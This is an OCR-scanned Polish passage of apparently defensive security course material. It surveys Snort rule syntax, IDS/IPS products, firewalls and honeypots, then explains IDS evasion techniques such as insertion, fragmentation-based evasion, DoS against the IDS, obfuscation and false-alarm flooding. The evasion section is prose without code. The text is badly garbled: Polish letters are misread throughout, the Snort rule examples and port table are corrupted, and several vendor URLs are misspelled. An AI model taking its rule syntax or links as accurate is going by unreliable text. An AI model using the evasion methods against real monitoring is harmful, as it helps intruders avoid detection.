AutoYara (https://github.com)

Halogen (https://github.com)

Yabin (https://github.com)

Narzedzia wykrywania wtaman

Narzedzia do wykrywania wtaman wykrywajg anomalie. Narzedzia te, gdy dziatajg na dedykowanej
stacji roboczej, odczytujg wszystkie pakiety sieciowe, rekonstruujg sesje uzytkownikdéw i skanujg w
poszukiwaniu mozliwych wtaman, wyszukujgc sygnatury atakéw i anomalie statystyczne ruchu
sieciowego. Co wiecej, narzedzia te oferujg ochrone w czasie rzeczywistym, zero-day przed atakami
sieciowymi i ztoSliwym ruchem, a takze zapobiegajg atakowaniu hostow przez ztosliwe
oprogramowanie, oprogramowanie szpiegujace, skanowanie portéw, wirusy, DoS i DDoS.

Snort

Snort to system wykrywania wfaman sieciowych o otwartym kodzie Zrédtowym, zdolny do
przeprowadzania analizy ruchu w czasie rzeczywistym i rejestrowania pakietéw w sieciach IP. Moze
przeprowadza¢ analize protokotéw i wyszukiwanie/dopasowywanie tresci i jest uzywany do
wykrywania réznych atakow i sond, takich jak przepetnienie bufora, niewidzialne skanowanie portéw,
ataki CGIl, sondy SMB i préby pobierania odciskéw palcéw systemu operacyjnego. Wykorzystuje
elastyczny jezyk regut do opisywania ruchu, ktéry powinien zbiera¢ lub przepuszcza¢, a takze silnik
wykrywania wykorzystujacy modutowg architekture wtyczek.

Zastosowania Snorta:
o Prosty sniffer pakietdw, taki jak tcpdump

o Rejestrator pakietow (przydatny do debugowania ruchu sieciowego itp.)



o Sieciowy system zapobiegania wiamaniom
Regulamin Snorta

Silnik regut Snort pozwala dostosowac niestandardowe reguty do potrzeb sieci. Reguty Snort pomagajg
odréznié¢ normalne dziatania internetowe od ztosliwych dziatan. Snort korzysta z popularnej biblioteki
libpcap (dla UNIX/Linux) lub Winpcap (dla Windows), tej samej biblioteki, ktérej uzywa tcpdump do
wachania pakietow. Podtgczenie Snorta w trybie promiscuous do nosnika sieciowego dekoduje
wszystkie pakiety przechodzgce przez sie¢. Generuje alerty zgodnie z zawartoscig poszczegolnych
pakietéw i regutami zdefiniowanymi w pliku konfiguracyjnym. Snort umozliwia uzytkownikom pisanie
wtasnych regut. Jednak kazda z tych zasad Snorta musi opisywad nastepujgce elementy:

o Jakiekolwiek naruszenie polityki bezpieczedstwa firmy, ktére moze stanowié¢ zagrozenie dla
bezpieczenstwa sieci firmowej i innych cennych informacji

o Wszystkie znane i czeste proby wykorzystania luk w sieci firmowe;j

o Warunki, w ktérych uzytkownik uwaza, ze pakiety sieciowe sg nietypowe (tj. jesli tozsamos¢ pakietu
nie jest autentyczna)

Reguty Snort, napisane zaréwno do analizy protokotdéw, jak i wyszukiwania i dopasowywania tresci,
powinny by¢ solidne i elastyczne. Reguty powinny by¢ ,niezawodne”: system powinien doktadnie
sprawdzaé dziatania w sieci i powiadamia¢ administratora o kazdej potencjalnej prébie wtamania.
Zasady powinny byc¢ ,elastyczne”: system musi by¢ wystarczajgco kompatybilny, aby dziataé
natychmiast i podejmowac niezbedne srodki zaradcze w zaleznosci od charakteru wtamania.

Zaréwno elastycznosé, jak i solidno$¢ mozna osiggna¢ za pomocy tatwego do zrozumienia i lekkiego
jezyka opisu regut, ktéry pomaga w pisaniu prostych regut Snort. Podczas pisania regut Snort rozwaz
nastepujgce dwie podstawowe zasady:

o Zadna pisemna zasada nie moze wykraczaé poza jedna linijke; dlatego zasady powinny by¢ krétkie,
precyzyjne i fatwe do zrozumienia.

o Kazda reguta powinna by¢ podzielona na dwie logiczne sekcje:
o Nagtowek reguty
o Opcje reguty

Nagtéwek reguty zawiera akcje reguty, protokdt, zrédtowy i docelowy adres IP, informacje o porcie
zrédtowym i docelowym oraz blok bezklasowego routingu miedzy domenami (CIDR). Sekcja opcji
reguty zawiera komunikaty ostrzegawcze oprécz informacji o sprawdzanej czesci pakietu, aby okreslic,
czy nalezy podjac jakgkolwiek akcje reguty.

Rule Protocol Rule Port
v v
§'alert§-tcp'any any :->:192.168.1.0/24 illlf(content:é"loo 01 86 a5|"; msg: "mountd access":)
A & A ...................................................... /\ .................................
Rule Action Rule Format Rule IP Address Alert Message
Direction

Reguty Snort: Akcje regut i protokoty IP

Nagtowek reguty przechowuje petny zestaw regut identyfikujgcych pakiet i okresla akcje do wykonania
lub regute do zastosowania. Zawiera informacje, ktére okreslajg, kto, gdzie i co z pakietem, a takze co



zrobié, jesli pakiet ze wszystkimi atrybutami wskazanymi w regule powinien sie pojawié. Pierwszym
elementem reguty jest akcja reguty, ktdra mdéwi Snortowi ,,co robi¢”, gdy znajdzie pakiet spetniajgcy
kryteria reguty. W Snort dostepnych jest pie¢ domysinych akcji: alert, rejestracja, pass, aktywacja i
dynamiczna. Ponadto, jesli Snort dziata w trybie inline, masz dodatkowe opcje, w tym upusc¢ i odrzué.
IP wysyta dane z jednego systemu do drugiego przez Internet. Obstuguje unikalne adresowanie dla
kazdego komputera w sieci. Organizowanie danych w sieci IP w pakiety. Kazdy pakiet zawiera dane
wiadomosci, zrédto, miejsce docelowe i inne. Snort obstuguje trzy dostepne protokoty IP w celu
zwalczania podejrzanych zachowan:

o TCP: protokét kontroli transmisji (TCP) jest czescig protokotu IP. Stuzy do taczenia dwdch réznych
hostéow i wymiany danych miedzy nimi.

o UDP: Protokét datagramoéw uzytkownika (UDP) jest uzywany do rozgtaszania wiadomosci w sieci.
o ICMP w sieci, aby na przyktad wysyta¢ komunikaty o btedach.

Reguty Snorta: Operator kierunkowy i adresy IP

o Operator kierunku

Ten operator wskazuje kierunek zainteresowania dla ruchu; ruch moze ptyngé¢ w jednym kierunku lub
dwukierunkowo.

Przyktad reguty Snort z wykorzystaniem operatora dwukierunkowego:

log 1192.168.1.0/24 dowolny <> 192.168.1.0/24 23

o Adresy IP

e Zidentyfikuj adres IP i port, do ktérych odnosi sie reguta

e Uzyj stowa kluczowego ,,any”, aby zdefiniowad adres IP

e Uzywaj numerycznych adreséw IP kwalifikowanych za pomocg maski sieci CIDR
e Przyktad reguty negacji adresu IP:

alert top 1192.168.1.0/24 dowolny

(zawartosé: "|00 01 86 a5 | "; msg: "zewnetrzny dostep montowany";)

Zasady Snorta: Numery portéow

Numery portéw mozna wyswietlaé na rézine sposoby, w tym przy uzyciu ,dowolnych” portéw,
statycznych definicji portow, zakreséw portéw i negacji. Zakresy portéw sg wskazywane przez operator
zakresu. Operator kierunku ,-$>$” wskazuje orientacje lub kierunek ruchu, do ktérego ma
zastosowanie regufa. Rozwaz adres IP i numer portu po lewej stronie operatora kierunku jako ruch
pochodzacy z hosta Zzrédtowego oraz adres i informacje o porcie po prawej stronie operatora jako hosta
docelowego. Istnieje réwniez operator dwukierunkowy, oznaczony symbolem ,$<>$”. To mdwi
Snortowi, aby wzigt pod uwage pary adres/port w orientacji Zrodtowej lub docelowej, i jest przydatny
do nagrywania/analizowania obu stron rozmowy, takiej jak sesje telnet lub POP3. Ponadto zauwaz, ze
nie ma operatora ,5<$-”. W wersjach Snort przed wersjg 1.8.7 operator kierunku nie zapewniat
odpowiedniego sprawdzania btedéw; w zwigzku z tym wiele oséb uzywato nieprawidtowych tokendw.
Zauwaz, ze ,5<S-" nie istnieje, wiec reguty zawsze czytane sg konsekwentnie. Kolejne pola reguty Snort
okreslajg zrédtowy i docelowy adres IP oraz porty pakietu, a takze kierunek, w ktdrym pakiet jest
przesytany. Snort moze zaakceptowac pojedynczy adres IP lub liste adreséw. Okreslajac liste adreséw



IP, nalezy oddzieli¢ kazdy z nich przecinkiem, a nastepnie ujg¢ liste w nawiasy kwadratowe w
nastepujacy sposdb:

[192.168.1.1,192.168.1.45,10.1.1.24]

Robiac to, uwazaj, aby nie uzywaé zadnych biatych znakéw. Mozesz takze okresli¢ zakresy adresow IP
za pomoca notacji CIDR, a nawet dotaczyé zakresy CIDR do list. Snort umozliwia réwniez zastosowanie
operatora logicznego NOT (,I”) do adresu IP lub zakresu CIDR, aby okreslié, ze reguta powinna pasowac
do wszystkich oprdcz tego adresu lub zakresu adreséw. Na przyktad tatwag modyfikacjg poczatkowego
przyktadu jest zmiana go w taki sposéb, aby alarm byt generowany po wykryciu jakiegokolwiek ruchu
pochodzgcego spoza sieci lokalnej za pomocg operatora negacji.

III

Przyktad negacji portu:
logogtopany->192.168.1.0/24!6000:6010
Protokoty Adres IP Akcja

Rejestruj ruch UDP pochodzacy z dowolnego portu i portow docelowych w zakresie od 1 do Rejestruj
192.168.1.0/241:1024 1024 UDP dowolny -> 192.168.1.0/24 :5000 Rejestruj ruch TCP z dowolnego
portu przechodzacego do portéw mniejszych lub réwnych 5000 Rejestruj dowolny ruch TCP ->
192.168.1.0/24 400: Rejestruj ruch TCP z dobrze znanych portéw i przechodzacy do portéow wiekszych
lub rownych 400 Rejestruj ruch TCP dowolny :1024 ->

Suricata

Suricata to solidny silnik wykrywania zagrozen sieciowych, zdolny do wykrywania wtaman w czasie
rzeczywistym (IDS), zapobiegania wtamaniom (IPS), monitorowania bezpieczeristwa sieci (NSM) i
przetwarzania pcap offline. Kontroluje ruch sieciowy przy uzyciu poteznych i rozbudowanych regut oraz
jezyka sygnatur, a takze zapewnia potezng obstuge skryptéw Lua do wykrywania ztozonych zagrozen.
Dzieki standardowym formatom wejscia i wyjscia, takim jak YAML i JSON, integracja z istniejgcymi
narzedziami, takimi jak SIEM, Splunk, Logstash/Elasticsearch, Kibana i innymi bazami danych, staje sie
bezproblemowa.

AlienVault OSSIM

AlienVault OSSIM, rozwigzanie Open Source Security Information and Event Management (SIEM),
udostepnia bogate w funkcje rozwigzanie SIEM typu open source, ktére obejmuje gromadzenie
zdarzen, normalizacje i korelacje.

OSSIM zapewnia ujednolicong platforme z wieloma podstawowymi funkcjami bezpieczenstwa, takimi
jak:

o Odkrycie aktywoéw

o Ocena podatnosci i wykrywanie wtaman

o Monitorowanie zachowania

o Korelacja zdarzen SIEM

Ponizej wymieniono niektére dodatkowe narzedzia do wykrywania wtaman:
SolarWinds Security Event Manager (https://www.solorwinds.com)

OSSEC (https://www.ossec.net)



BrolDS/Zeek IDS (https://www.zeek.org)

AIDE (https://oide.github.io)

Sagan Log Analysis Engine (https://quodrontsec.com)
Narzedzia wykrywania wtaman dla urzagdzen mobilnych

Dostepne sg rowniez narzedzia do wykrywania wtaman dla urzagdzen mobilnych, ktére pomagaja
wykrywac préby wtaman i zapobiegad im.

ZIPS

ZIPS firmy Zimperium to mobilna aplikacja systemu zapobiegania wtamaniom, ktéra zapewnia
kompleksowg ochrone urzadzen z systemem iOS i Android przed cyberatakami na sie¢ mobilng,
urzadzenia i aplikacje. Moze wykrywaé zardwno znane, jak i nieznane zagrozenia, analizujgc
zachowanie urzadzenia mobilnego. Badajac niewielkie odchylenia od statystyk systemu operacyjnego
urzadzenia mobilnego, pamieci, procesora i innych parametréw systemowych, silnik wykrywania z9
moze doktadnie zidentyfikowac nie tylko okreslony typ ztosliwego ataku, ale takze kryminalistyke
zwigzang z tym, kto, co, gdzie, kiedy, i jak doszto do ataku.

Inspektor Wi-Fi

Wifi Inspector pozwala znalezé wszystkie urzadzenia podtgczone do sieci (zaréwno przez potaczenie
przewodowe, jak i Wi-Fi, w tym konsole, telewizory, komputery PC, tablety i telefony); podaje
odpowiednie dane, takie jak adresy IP, nazwy producentéw, nazwy urzadzen i adresy MAC
podfaczonych urzagdzen. Pozwala takze na zapisanie listy znanych urzadzen z niestandardowg nazwg i
odnajdywanie intruzéw w krétkim czasie.

Narzedzia zapobiegania wiamaniom
USM Anywhere

USM Anywhere moze wykrywaé zagrozenia, reagowac na incydenty i zarzadza¢ zgodnoscia w
srodowiskach chmurowych, lokalnych i hybrydowych. Mozna go zintegrowad z AlienVault Open Threat
Exchange (OTX), ktdra jest otwartg spotecznoscig zajmujgcy sie analizg zagrozen, zrzeszajgcg ponad
100 000 uczestnikéw, ktdérzy codziennie dostarczajg ponad 19 miliondw wskaznikéw zagrozen, aby
chroni¢ sie¢ przed wtamaniami.

Ponizej wymieniono niektére dodatkowe narzedzia zapobiegania wtamaniom:
IBM Security Network Intrusion Prevention System (https://www.ibm.com)
Cyberoam Intrusion Prevention System (http://www.cyberoamworks.com)
McAfee Host Intrusion Prevention for Desktops (https://www.mcafee.com)
Secure IPS (NGIPS) ( https://www.cisco.com)

Quantum Intrusion Prevention System (IPS) (https://www.checkpoint.com)
Zapory ogniowe

Zapory ogniowe zapewniajg niezbedng ochrone komputeréw podtgczonych do Internetu przed
wirusami, zagrozeniami prywatnosci, nieodpowiednimi tresciami, hakerami i ztosliwym
oprogramowaniem. Zapora monitoruje uruchomione aplikacje, ktdre uzyskujg dostep do sieci.



Analizuje pobieranie, generuje alert podczas pobierania ztosliwego pliku i powstrzymuje go przed
zainfekowaniem komputera.

Bezptatna zapora sieciowa ZoneAlarm

ZoneAlarm Free Firewall uniemozliwia atakujgcym i intruzom dostep do Twojego systemu. Zarzadza i
monitoruje caty ruch przychodzacy i wychodzacy oraz chroni sie¢ przed hakerami, ztosliwym
oprogramowaniem i innymi zagrozeniami internetowymi, ktére mogg zagrozi¢ prywatnosci w sieci.
Monitoruje programy pod katem podejrzanych zachowan, wykrywajac i powstrzymujgc nowe ataki,
ktore omijajg tradycyjng ochrone antywirusowga. Ponadto zapobiega kradziezy tozsamosci, chronigc
Twoje dane. Usuwa rowniez twoje Slady, umozliwiajgc surfowanie po Internecie w catkowitej
prywatnosci. Ponadto blokuje atakujgcych, blokuje wtamania i sprawia, ze komputer jest niewidoczny
online. Ponadto odfiltrowuje irytujgce i potencjalnie niebezpieczne wiadomosci e-mail.

Cechy:
o Dwukierunkowa zapora ogniowa, ktéra monitoruje i blokuje ruch przychodzacy i wychodzacy
o Pozwala uzytkownikom na prywatne przegladanie sieci w trybie Full Stealth

o Ustugi ochrony tozsamosci pomagajg zapobiegaé kradziezy tozsamosci poprzez ochrone kluczowych
danych uzytkownikdw. Oferuje réwniez ochrone komputera i szyfrowanie danych

o Ochrona sieci publicznej i ochrona sieci bezprzewodowej to inne kluczowe funkcje tej zapory
o Zapewnia szybkie aktualizacje zabezpieczen w czasie rzeczywistym
Analizator zapory sieciowej ManageEngine

ManageEngine Firewall Analyzer to bezagentowe oprogramowanie do analizy dziennikéw i zarzadzania
konfiguracjg, ktére pomaga administratorom sieci zrozumie¢, w jaki sposdb przepustowos¢ jest
wykorzystywana w ich sieci. ManageEngine Firewall Analyzer jest niezalezny od dostawcy i obstuguje
prawie wszystkie otwarte i komercyjne zapory sieciowe, takie jak Check Point, Cisco, Juniper, Fortinet
i Palo Alto.

Cechy:

0 Zarzadzanie zgodnoscig i zmianami

o Monitorowanie aktywnosci uzytkownikéw w Internecie

o Monitorowanie ruchu sieciowego i przepustowosci

0 Zarzadzanie zasadami zapory

o Monitorowanie VPN i serwerdw proxy w czasie rzeczywistym
0 Zarzadzanie bezpieczenstwem sieci

o Audyty kryminalistyczne sieci

Analiza dziennika

Ponizej wymieniono niektére dodatkowe rozwigzania zapory:
e pfSense ( https://www.pfsense.org )

e Sophos XG Firewall (https://www.sophos.com)



e Comodo Firewall (https://personalfirewall.comodo.com)

e Palo Alto Network Wildfire (https://www.paloaltonetworks.com)

e Check Point Next Generation Firewalls (NGFW) ( https://www.checkpoint.com)
Zapory ogniowe dla urzadzen mobilnych

Omowione wczesniej zapory stuzg do zabezpieczania komputerédw osobistych i sieci. Podobnie
niektére zapory ogniowe mogg zabezpieczac urzadzenia mobilne.

Mobile Privacy Shield

Mobile Privacy Shield to aplikacja dla oséb w ciggtym ruchu, czyli oséb, ktére przechowujg niezbedne
informacje na swoich smartfonach i wykorzystujg swoje urzgdzenia do bankowosci, zakupow, biznesu
i nie tylko. Doradca prywatnosci Mobile Privacy Shield monitoruje uprawnienia aplikacji, dzielac je na
trzy kategorie wedtug poziomu zagrozenia prywatnosci. Kazdy raport zawiera szczegétowe informacje,
a odpowied? jest sugerowana dla kazdego przypadku. Mobile Privacy Shield centralizuje wszystkie
uprawnienia, umozliwiajgc wygodny przeglad i ocene ich waznosci oraz potrzeb, a takze pozwala
usunac kazde zagrozenie z poziomu

interfejs.
Zapora sieciowa NetPatch

NetPatch Firewall to w petni funkcjonalna, zaawansowana zapora ogniowa systemu Android bez
uprawnien administratora. Moze stuzy¢ do petnej kontroli sieci urzadzern mobilnych. Korzystajac z
zapory sieciowej NetPatch, mozesz tworzy¢ reguty sieciowe w oparciu o aplikacje, adresy IP, nazwy
domen itp. Zapora ta zostata zaprojektowana w celu zmniejszenia ruchu sieciowego urzgdzenia
mobilnego i zuzycia baterii, poprawy bezpieczenstwa sieci i zapewnienia prywatnosci.

Cechy:

o Blokuj dostep do sieci dla aplikacji, wtgczanie/wytgczanie ekranu, Wi-Fi/mobile (3G i 4G), blokowanie
roamingu

0 Bezpieczny serwer proxy Shadowsocks, obstuga TCP i UDP (lepszy serwer proxy VPN)

o Niestandardowy DNS, zmien serwer DNS, obstuguj zapytania DNS przez serwer proxy Shadowsocks i
ustaw czas pamieci podrecznej DNS

o Powiadamiaj o zainstalowaniu nowych aplikacji

o Eksportuj/importuj konfiguracje

Ponizej wymieniono niektdre dodatkowe rozwigzania zapory sieciowej dla urzgdzen mobilnych:
Zapora sieciowa NoRoot (https://ploy.google.com)

AFWall+ (https://github.com)

NetGuard (https://www.netguord.me)

Karma Firewall (https://play.google.com)

Droid Firewall (https://ploy.google.com)



Narzedzia Honeypot

Honeypoty to narzedzia bezpieczenstwa, ktére pozwalajg spotecznosci zajmujgcej sie
bezpieczenstwem monitorowac sztuczki i exploity hakerow poprzez rejestrowanie catej ich aktywnosci,
dzieki czemu mogg szybko reagowac na takie exploity, zanim atakujgcy bedzie mdgt naduzyé lub
skompromitowad system.

KFSensor

KFSensor to oparty na hoscie IDS, ktory dziata jak honeypot, aby przyciggaé i wykrywaé hakeréw i
robaki poprzez symulowanie wrazliwych ustug systemowych i trojandéw. Dziatajgc jako serwer wabigcy,
moze odwrdcié ataki od krytycznych systemdw i zapewni¢ wyzszy poziom informacji niz uzyskiwany
przy uzyciu samych zapér ogniowych i NIDS. Mozesz uzywac KFSensor w srodowisku korporacyjnym
opartym na systemie Windows. Zawiera wiele innowacyjnych i unikalnych funkcji, takie jak zdalne
zarzadzanie, silnik sygnatur zgodny ze Snort oraz emulacje protokotéw sieciowych Windows.

HoneyBOT

HoneyBOT to honeypot o $redniej interakcji dla systemu Windows. Honeypot tworzy bezpieczne
Srodowisko do przechwytywania niechcianego ruchu w sieci i interakcji z nim. HoneyBOT to tatwe w
uzyciu rozwigzanie, ktére idealnie nadaje sie do badan nad bezpieczenstwem sieci lub jako czes¢
wczesnego ostrzegania IDS.

Niektére dodatkowe narzedzia honeypot sg wymienione ponizej:
SPECTER (http://www.specter.com)

MongoDB-HoneyProxy (https://github.com)

Modern Honey Network (https://github.com)

Honeyd (https://github.com)

Unikanie IDS

Poprzednie sekcje pomogty nam zrozumiec systemy IDS, IPS, ich role i funkcje, sposdb ochrony sieci
przed intruzami oraz rézne dostepne rozwigzania IDS. Mimo ze IDS udaremnia préby naruszenia
bezpieczenstwa sieci, atakujacy wcigz mogg unikng¢ IDS. W tej sekcji wyjasniono rézne sposoby
unikania systemu IDS przez osoby atakujace.

Techniki unikania IDS

IDS, ktére zapewniajg dodatkowg warstwe bezpieczedstwa infrastruktury organizacji, sg interesujgcym
celem dla atakujgcych. Atakujacy stosujg réozne techniki unikania IDS, aby omingé takie mechanizmy
bezpieczenstwa i naruszy¢ infrastrukture. Unikanie IDS to proces modyfikowania atakéw w celu
oszukania IDS/IPS w celu zinterpretowania, ze ruch jest uzasadniony, a tym samym uniemozliwienia
IDS wyzwolenia alertu. Wiele technik unikania IDS moze wykonywac¢ unikanie IDS na rdzne i skuteczne
sposoby.

Niektére techniki unikania IDS sg nastepujgce
Atak wstawiania
Uchylanie sie

Atak DOS



Zaciemnianie

Fatszywie pozytywne pokolenie
taczenie sesji

Unikanie Unicode

Atak fragmentacyjny
Nakfadajace sie fragmenty
Ataki typu ,czas zycia”.
Flaga pilnosci
Nieprawidtowe pakiety RST
Polimorficzny kod powtoki
Kod powtoki ASCII

Ataki warstwy aplikacji
Desynchronizacja
Szyfrowanie

Powdd?

Atak wstawiania

wstawianie to proces, w ktdrym atakujgcy wprowadza w btad IDS, zmuszajgc go do odczytania
nieprawidtowych pakietéw (tj. system moze nie zaakceptowac pakietu zaadresowanego do niego). IDS
Slepo ufa i akceptuje pakiet, ktory system koricowy odrzuca. Jesli pakiet jest znieksztatcony lub nie
dociera do miejsca docelowego, pakiet jest niewazny, jesli IDS odczyta niewazny pakiet, zostaje
zdezorientowany. Atakujacy wykorzystuje ten warunek i wstawia dane do systemu IDS. Ten atak ma
miejsce, gdy NIDS jest mniej rygorystyczny w przetwarzaniu pakietéw niz sie¢ wewnetrzna. Atakujacy
zastania dodatkowy ruch, a system IDS stwierdza, ze jest on nieszkodliwy. W zwigzku z tym system IDS
otrzymuje wiecej pakietdw niz miejsce docelowe. Aby zrozumieé, w jaki sposéb wstawianie staje sie
problemem dla sieciowego IDS, wazne jest, aby zrozumie¢, w jaki sposéb IDS wykrywa ataki.
Wykorzystuje algorytmy dopasowywania wzorcow do wyszukiwania okreslonych wzorcéow danych w
pakiecie lub strumieniu pakietéw. Na przyktad moze wyszukac ciag ,,phf” w zadaniu HTTP, aby wykry¢
atak PHF Common Gateway Interface (CGl). Osoba atakujgca, ktéra moze wstawic pakiety do systemu
IDS, moze uniemozliwi¢ dziatanie dopasowywania wzorcow. Na przyktad atakujgcy moze wystac ciag
,phf” do serwera WWW, prébujac wykorzystac luke CGl, ale zmusi¢ IDS do odczytania ,phoneyf” (przez
,wstawienie” ciggu , oney”). Prosty atak polegajacy na celowym uszkodzeniu sumy kontrolnej adresu
IP. Kazdy pakiet przesytany w sieci IP ma sume kontrolng, ktéra weryfikuje uszkodzone pakiety. Sumy
kontrolne IP to 16-bitowe liczby obliczane na podstawie analizy informacji zawartych w pakiecie. Jesli
suma kontrolna pakietu IP nie pasuje do rzeczywistego pakietu, adresowany host go nie zaakceptuje,
podczas gdy IDS moze uznac go za czes¢ efektywnego strumienia. Na przyktad osoba atakujgca moze
wysytaé pakiety, ktérych pola czasu zycia (TTL) sg tak skonstruowane, aby docieraty do systemu IDS,
ale nie do komputeréw docelowych. Spowoduje to, ze system IDS i system docelowy bedg miaty dwa
rozne ciggi znakow. Atakujacy konfrontuje IDS ze strumieniem jednoznakowych pakietow (strumien



danych pochodzacy od atakujgcego), w ktérym jeden ze znakow (litera ,X”) zostanie zaakceptowany
tylko przez IDS. W rezultacie system IDS i system koricowy rekonstruujg dwa rézne taricuchy.

Uchylanie sie

Atak ,,obchodzeniowy” ma miejsce, gdy IDS odrzuca pakiety, podczas gdy host, ktdry ma je otrzymac,
akceptuje je. Korzystajac z tej techniki, osoba atakujgca wykorzystuje komputer hosta. Ataki unikowe
majg niekorzystny wptyw na doktadnos$¢ IDS. Atak polegajacy na unikaniu atakéw w warstwie IP
umozliwia atakujgcemu podejmowanie dowolnych atakdéw na hosty w sieci bez wiedzy IDS. Atakujgcy
wysyta fragmenty zgdania w pakietach, ktére IDS omytkowo odrzuca, umozliwiajgc usuniecie czesci
strumienia z widoku systemu ID. Na przyktad, jesli atakujgcy wysyta ztosliwg sekwencje bajt po bajcie,
a IDS odrzuca tylko jeden bajt, nie moze wykry¢ ataku. Flere, IDS otrzymuje mniej pakietdw niz miejsce
docelowe. Jednym z przyktadéw ataku polegajgcego na unikaniu atakdéw jest otwieranie przez
atakujgcego potfaczenia TCP z pakietem danych. Zanim bedzie mozna uzy¢ jakiegokolwiek potgczenia
TCP, musi ono zostac ,,otwarte” przez uzgadnianie miedzy dwoma punktami korncowymi potgczenia.
Istotnym faktem dotyczgcym protokotu TCP jest to, ze pakiety uzgadniania mogg same przenosic¢ dane.
System IDS, ktory nie akceptuje danych w tych pakietach, jest narazony na atak typu evasion.

Atak typu ,,odmowa ustugi” (DoS)

Wiele rodzajow atakéw DoS bedzie dziataé przeciwko IDS. Atakujacy identyfikuje punkt przetwarzania
sieci, ktéry wymaga przydziatu zasobu, co powoduje wystgpienie stanu, w ktérym caty ten zaséb jest
zuzyty. Zasoby, na ktére ma wptyw atakujacy, to cykle procesora, pamieé, miejsce na dysku i
przepustowosc sieci. Atakujacy monitorujg i atakujg mozliwosci procesora systemu IDS. Dzieje sie tak
dlatego, ze IDS potrzebuje potowy cyklu procesora, aby odczytaé pakiety, wykry¢ cel ich istnienia, a
nastepnie poréwnaé je z jakim$ miejscem w zapisanym stanie sieci. Atakujgcy moze zweryfikowac
najbardziej kosztowne obliczeniowo operacje przetwarzania sieciowego, a nastepnie zmusi¢ IDS do
spedzenia catego czasu na wykonywaniu bezuzytecznej pracy. IDS wymaga pamieci do réznych zadan,
takich jak generowanie dopasowania do wzorcdw, zapisywanie pofaczen TCP, utrzymywanie kolejek
ponownego sktadania i tworzenie buforéw dla danych. W poczatkowej fazie system wymaga pamieci
do odczytania pakietéw. System przydzieli pamieé dla operacji przetwarzania sieciowego. Osoba
atakujgca moze zweryfikowa¢ operacje przetwarzania, ktére wymagajg przydzielenia pamieci przez
system IDS i zmusié system IDS do przypisania catej swojej pamieci na bezsensowne informacje. W
pewnych okolicznosciach dzienniki aktywnosci magazynu IDS sg rejestrowane na dysku.
Przechowywane zdarzenia zajmujg wiekszos¢ miejsca na dysku. Wiekszos¢ komputeréw ma
ograniczong ilo$¢ miejsca na dysku. Atakujgcy moga zajgé znaczng czes¢ miejsca na dysku IDS, tworzgc
i przechowujgc duzg liczbe bezuzytecznych zdarzeni. To sprawia, ze IDS jest bezuzyteczny w zakresie
przechowywania rzeczywistych zdarzen. Sieciowe systemy IDS rejestrujg aktywnos¢ w
monitorowanych przez siebie sieciach. S3 kompetentni, poniewaz sieci rzadko sg w petni
wykorzystywane; niewiele systemdéw monitorowania jest w stanie poradzi¢ sobie z wyjatkowo
obcigzonymi sieciami. IDS, w przeciwienstwie do systemu koficowego, musi czytaé pakiety wszystkich,
a nie tylko te, ktére zostaty do niego wyraznie wystane. Osoba atakujgca moze przecigzy¢ sieé
bezsensownymi informacjami i uniemozliwi¢ systemowi IDS nadgzanie za tym, co dzieje sie w sieci.
Wiele systemdw IDS wykorzystuje obecnie centralne serwery rejestrujace, ktére sg uzywane wytgcznie
do przechowywania dziennikéw alertéw IDS. Zadaniem serwera centralnego jest centralizacja danych
alertow, tak aby byty one postrzegane jako catos¢, a nie system po systemie. Jesli jednak atakujgcy
znajg adres IP centralnego serwera dziennika, mogg go spowolnié, a nawet zawiesi¢ za pomocg ataku
DoS. Po wytaczeniu serwera ataki mogg pozostac niezauwazone, poniewaz dane alertéw nie s3 juz
rejestrowane.



Uzywajac tej techniki unikania, atakujgcy

Powoduje zablokowanie urzgdzenia

Powoduje, ze personel nie jest w stanie zbada¢ wszystkich alarméw

Powoduje wiecej alarmow niz moze obstuzy¢ systemy zarzadzania (takie jak bazy danych itp.)
Wypetnia miejsce na dysku, zapobiegajgc rejestrowaniu atakéw

Zuzywa moc obliczeniowgq urzgdzenia i pozwala na przemykanie atakéw

Zaciemnianie

Zaciemnianie oznacza utrudnianie zrozumienia lub odczytania kodu, zwykle ze wzgledu na prywatnos¢
lub bezpieczenstwo. Narzedzie zwane obfuscatorem przeksztatca prosty program w taki, ktéry dziata
w ten sam sposéb, ale jest znacznie trudniejszy do zrozumienia. Zaciemnianie to technika unikania IDS
uzywana przez atakujacych do kodowania tadunku atakujgcego pakietu w taki sposdb, ze host
docelowy moze tylko odszyfrowaé pakiet, ale nie IDS. Atakujgcy manipuluje $ciezka, do ktérej odnosi
sie sygnatura, aby oszukac HIDS. Za pomocg znakdéw Unicode osoba atakujgca moze zakodowac pakiety
ataku, ktérych system IDS nie rozpozna, ale ktdre serwer sieciowy |IS moze zdekodowaé. Kod
polimorficzny to kolejny sposdb na obejscie systemu IDS opartego na sygnaturach poprzez tworzenie
unikalnych wzorcéw atakow, tak aby atak nie miat ani jednej wykrywalnej sygnatury. Atakujgcy
przeprowadzajg zaciemnione ataki na zaszyfrowane protokoty, takie jak HTTPS. Atakujagcy moga
rowniez wykorzystywaé techniki zaciemniania, takie jak cyfrowa steganografia, aby oming¢ IDS i
wdrozy¢ ztosliwe oprogramowanie w docelowym systemie lezgcym poza IDS.

Fatszywie pozytywne pokolenie

Ten tryb nie atakuje celu; zamiast tego robi cos$ stosunkowo zwyczajnego. W tym trybie IDS generuje
alarm, gdy nie ma warunkéw, ktdre by go uzasadniaty. Innym atakiem podobnym do metody DoS jest
utworzenie znacznej ilosci danych alertdw, ktére beda rejestrowane przez system IDS. Atakujacy
tworzg ztodliwe pakiety, o ktérych wiadomo, ze wyzwalajg alerty w systemie IDS, zmuszajgc go do
generowania duzej liczby fatszywych raportéw. Taki atak tworzy duzg ilos¢ ,szumu” dziennika,
prébujac potgczy¢ prawdziwe ataki z fatszywymi. Atakujacy doskonale wiedzg, ze patrzac na dane
dziennika, odréznienie legalnych atakow od fatszywych alarméw moze by¢ trudne. Jesli atakujgcy znaja
IDS, moga nawet generowac fatszywe alarmy charakterystyczne dla tego IDS. Nastepnie atakujacy
wykorzystujg te fatszywe alarmy, aby ukryé prawdziwy ruch zwigzany z atakami. Atakujgcy mogg
niezauwazenie oming¢ IDS, poniewaz trudno jest odrézni¢ ruch atakujgcy od duzej liczby fatszywych
alarmow.

taczenie ses;ji

taczenie sesji to technika unikania przez IDS, ktdra wykorzystuje fakt, ze niektére IDS nie rekonstruujg
sesji przed dopasowaniem danych do wzorca. Jest to metoda unikania na poziomie sieci uzywana do
obejscia IDS, w ktérej atakujgcy dzieli ruch atakujgcy na nadmierng liczbe pakietow, tak ze zaden
pojedynczy pakiet nie wyzwala IDS. Atakujgcy dzieli dane w pakietach na mate czesci o dtugosci kilku
